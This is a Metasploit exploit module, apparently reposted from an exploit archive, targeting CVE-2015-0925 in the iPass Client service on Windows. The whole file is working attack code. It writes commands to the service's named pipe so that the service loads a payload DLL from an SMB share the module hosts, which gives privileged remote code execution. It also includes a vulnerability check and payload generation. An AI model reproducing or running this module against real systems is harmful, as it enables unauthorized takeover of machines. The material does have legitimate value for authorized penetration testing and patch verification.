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# IPass Control Pipe Remote Command Execution Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'IPass Control Pipe Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the IPass Client service. This service provides a
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
to force the service to load a DLL from a SMB share.
},
'Author' =>
[
'Matthias Kaiser', # Vulnerability discovery
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0925' ],
[ 'OSVDB', '117423' ],
[ 'BID', '72265' ],
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 21 2015',
'DefaultTarget' => 0))

register_options(
[
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)

deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
end

def check
echo_value = rand_text_alphanumeric(rand(10) + 10)

begin
response = send_command("System.Echo #{echo_value}")
if response =~ Regexp.new(echo_value)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
rescue Rex::ConnectionError => e
vprint_error("Connection failed: #{e.class}: #{e}")
return Msf::Exploit::CheckCode::Unknown
rescue Rex::Proto::SMB::Exceptions::LoginError => e
vprint_error('Connection reset during login')
return Msf::Exploit::CheckCode::Unknown
end
end

def setup
super
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
self.share = Rex::Text.rand_text_alpha(5)
end

def primer
self.file_contents = generate_payload_dll
print_status("File available on #{unc}...")
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
end

def send_command(command)
# The connection is closed after each command, so we have to reopen it
connect
smb_login
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
pipe.write(Rex::Text.to_unicode(command))
response = Rex::Text.to_ascii(pipe.read)

response
end


def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-03-17]

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